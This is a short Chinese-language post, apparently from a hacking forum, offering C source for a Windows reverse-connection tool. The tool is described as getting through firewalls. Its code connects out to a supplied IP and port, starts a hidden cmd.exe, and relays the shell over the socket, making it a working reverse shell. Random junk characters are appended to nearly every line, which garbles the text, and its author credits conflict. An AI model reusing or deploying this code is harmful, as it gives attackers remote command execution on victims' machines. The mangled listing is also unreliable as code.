这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :(b3)K
)/Xrhhx
/* ============================== \!QF9dP4
Rebound port in Windows NT =Yj[MVn
By wind,2006/7 z{g<y^Im+E
===============================*/ I7PWOd
#include 5tU"|10m3
#include 5)zB/Ta<
4) 3pa*
#pragma comment(lib,"wsock32.lib") H ZLOn
lDU:EJ&DHE
void OutputShell(); !5OMAWNU@
SOCKET sClient; N ]7a=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zsXH{atY
'r n;|K
void main(int argc,char **argv) "|'`'W
{ tTFoS[V
WSADATA stWsaData; )t0b$<%
int nRet; ptv4v[gQ
SOCKADDR_IN stSaiClient,stSaiServer; y+scJ+<
{@ y,
if(argc != 3) ^R7z LHU;
{ I=%sDn
printf("Useage:\n\rRebound DestIP DestPort\n"); 4@e!D Du
return; [T}]Ma*CS
} =+h!JgY/L
t MZ(s
WSAStartup(MAKEWORD(2,2),&stWsaData); ?+O|mX}`-
d95N$n
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (1,#=e+
W79A4l<
stSaiClient.sin_family = AF_INET; _*$B|%k
stSaiClient.sin_port = htons(0); ,Q#tA|:8j
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '<=MhNh\
gqD^Bs'VF
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fF>qU-
{ aaugu.9
printf("Bind Socket Failed!\n"); I!7.fuO
return; W:poUG1UR
} 2Ml2Ue-9
*@arn Eu
stSaiServer.sin_family = AF_INET; ,okJ eZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `O=;E`ep
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z#J/*712
WQLL[{mhS
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #KNq:@wp6
{ gZEA;N:H%<
printf("Connect Error!"); mjl!Nth:<
return; ?SO F
n
} quGPk)c
OutputShell(); LEngZ~sV/
}
01c/;B
i5<Va@ru!s
void OutputShell() Wx|6A#cg!
{ ~`>26BWQz
char szBuff[1024]; =@KY A(D
SECURITY_ATTRIBUTES stSecurityAttributes; FJ%R3N\
OSVERSIONINFO stOsversionInfo; ?3TK7]1V:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]t*P5
STARTUPINFO stStartupInfo; FV6he[,
char *szShell; tbzvO<~
PROCESS_INFORMATION stProcessInformation; ?> M oV5
unsigned long lBytesRead; YeExjC
`?o1cf A
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l&sO?P[ /
4fu\3A&
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "4k=(R?
stSecurityAttributes.lpSecurityDescriptor = 0; r{!"%03H_
stSecurityAttributes.bInheritHandle = TRUE; uU ?37V
S[hJ{0V
<,X+`m&
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]b~2Dap
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YaVc9du7
LB*#
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~2A$R'x b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KpbZnW}g
stStartupInfo.wShowWindow = SW_HIDE; =7]Q6h@X
stStartupInfo.hStdInput = hReadPipe; ilRm}lU|x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %QsSR'`
mf]( 3ZL
GetVersionEx(&stOsversionInfo); X\^& nLa
WQLHjGehe
switch(stOsversionInfo.dwPlatformId) t2-nCRXEP
{ }M9DqZ;I
case 1: E#{WU}
szShell = "command.com"; !!+/Wgd:6
break; af?\kBm
default: KG-k$glD
szShell = "cmd.exe"; ;vv!qBl|@
break; >uchF8)e|
} qtwT#z;Y
zsMw5C
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gLxT6v5wk.
*L4]\wf
send(sClient,szMsg,77,0); ngkeJ)M0$
while(1) `m@]
{ lGnql 1(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YKw!pu=
if(lBytesRead) ZLN_,/7
{ %is,t<G
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ny
send(sClient,szBuff,lBytesRead,0); =wlm
} RdvPsv}D
else
\ +?,c\x
{ Wq{d8|)1
lBytesRead=recv(sClient,szBuff,1024,0); X6Nm!od'
if(lBytesRead<=0) break; 5 <)gCHa
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =8$0$d
} 17n+4J]
} V^Mf4!A(y
J+cAS/MYX
return; SZK)q
}